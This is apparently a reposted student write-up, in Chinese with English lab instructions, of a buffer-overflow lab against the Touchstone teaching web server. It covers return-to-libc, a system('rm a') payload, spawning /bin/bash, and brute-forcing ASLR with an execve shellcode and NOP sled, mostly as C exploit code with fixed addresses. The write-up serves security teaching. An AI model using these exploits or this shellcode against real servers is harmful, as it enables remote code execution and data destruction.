本文共 4488 字,大约阅读时间需要 14 分钟。
Lab Overview
In this lab, you’ll explore how to defeat the protection mechanisms introduced to counter buffer overflows. The first type of countermeasure is nonexecutable stack, which will mark the stack memory segment, along with other segments, nonexecutable. Thus, even the shellcode jumps back to the stack, it has no chance to execute. To defeat this protection mechanism, you will study and use a specific technique called returntolibc, a special and easy form of returnoriented programming. By using returntolibc, shellcode can jump to any library code (or any executable code).
The second type of countermeasure is memory address layout randomization (ASLR). The key idea of ASLR is to set random addresses for specific memory segments of a given process. Thus, it will be very difficult for an adversary to know the exact address of a buffer. To defeat this protection mechanism, the adversay can guess the starting address of a buffer and attack the server bruteforcely. This is rather realistic, because the range of the stack is relatively small. The third type of countermeasure is a canary. In its simplest form, a canary is an integer on the stack (after the buffer), by checking whether or not a canary is altered, one can check whether or not the buffer is over flowed, just before the function returns. To defeat this, an adversary can just guess the value of the canary. At a first glance, this will be very hard, if not impossible, because the value space is dramatically huge: 232. However, you will understand that under some circumstance, say a web server like Touchstone, it will be very practical. An adversary only need to guess just 1024 times to succeed.This lab consists of three parts:Part A: you will defeat the Nonexecutable stack protection, by using returntolic attack.Part B: you will defeat the Touchstone web server in a realistic environment: the ASLR is enabled.
Exercise 1
不能成功,提示程序中断。
因为开启non-executable stack后,栈是不可执行的。当返回地址为栈地址时,程序将中断。
Exercise 2
使用gdb调试在fun函数处设断点并运行,打印出栈内情况。然后根据实验步骤修改栈,结果如下图所示。
从图中可看到,我们把fun的返回地址修改为system函数的地址,把old ebp修改为字符数组”ls”,并把old ebp下一个地址修改为字符数组”ls”的地址。这里,我们就制造了一个system(“ls”)函数的调用:
1. 参数入栈:*0xbffff324=0xbffff328 2. 返回地址入栈:*0xbffff320=0x08048400当fun函数执行完后返回时,会调用system函数,system函数从栈中获取参数地址。
而当system执行完后返回时,esp指向0xbffff320调用__libc_csu_init,而它上方两个地址的内容已发生改变,因此不能正常进行调用,从而导致Segmentation fault。 为使进程能够正常退出,只需进行如下操作:(gdb) set *0xbffff320=0x80483f3使system函数执行完后能继续执行main函数从而正常退出。
Exercise 3
这里我们就做一个删除一个文件名为a的文件[system(“rm a”)]。
首先对touchstone进行gdb调试,查看ebp寄存器的值以及getToken中s的地址以及找到system函数的地址:根据Exercise 2,这里我们要把getToken的返回地址( ebp+4)修改为system函数地址,并把 ebp+12的内容修改为system参数的地址。由于
$ebp - &s = 1056所以返回地址为s+1060,参数地址为s+1068,代码如下:
#define len 1100 int main(){ ... char req[len]; memset(req,'A',len); req[0]='r'; req[1]='m'; req[2]=9; //由于某些原因,这里空格以制表符(ASCII值为9)代替 req[3]='a'; req[4]='\0'; *((int*)&req[1060])=0xb7e5f430; //system *((int*)&req[1068])=0xbfffee98; //"rm a" req[len-4]='\r', req[len-3]='\n', req[len-2]='\r', req[len-1]='\n'; ...}
Challenge
对touchstone进行gdb调试,用x/1000s找到”/bin/bash”的地址:
从图中可以看到,地址0xbffff5a4内存的字符串为”SHELL=/bin/bash”,因此0xbffff5a4+6就是我们需要的”/bin/bash”。因此只需把参数地址改为0xbffff5aa即可。代码如下:
#define len 1100 int main(){ ... char req[len]; memset(req,'A',len); *((int*)&req[1060])=0xb7e5f430; //system *((int*)&req[1068])=0xbffff5aa; //"/bin/bash" req[len-4]='\r', req[len-3]='\n', req[len-2]='\r', req[len-1]='\n'; ...}
Exercise 4
不能成功。开启ASLR后,s的地址每次都是随机的,所以以前的方法不再适用。
Exercise 5
32位系统内存情况如下图所示:
高1G为OS所拥有,OS以下8K即为栈空间。也就是说,我们可猜测buffer的起始地址在0xbfff8000~0xbfffffff之间。
实验中服务器的缓冲区s的size为1024,因此可把shellcode放在s的末尾,前面填充NOP指令,在s上方的区域填充我们认为的s的地址。代码如下:
#define len 1200 char shellcode[]= "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ;// size = 24int main(){ ... char req[len]; int i,j; int start = 0xbfff8000; int end = 0xbfffffff; for(i = 0;i < 1000;i ++) //0~999 req[i] = 0x90; //NOP for(j = 0;j < strlen(shellcode);i ++, j ++) //1000~1023 req[i] = shellcode[j]; req[len-4]='\r', req[len-3]='\n', req[len-2]='\r', req[len-1]='\n'; while(start + len < end) { i = 1024; int *p = (int *)&req[i]; while(i < len - 4) { *p = start; p ++; i += 4; } write(sock_client,req,strlen(req)); start += 0x04; } ...}
转载地址:https://blog.csdn.net/Thare_Lam/article/details/49716783 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!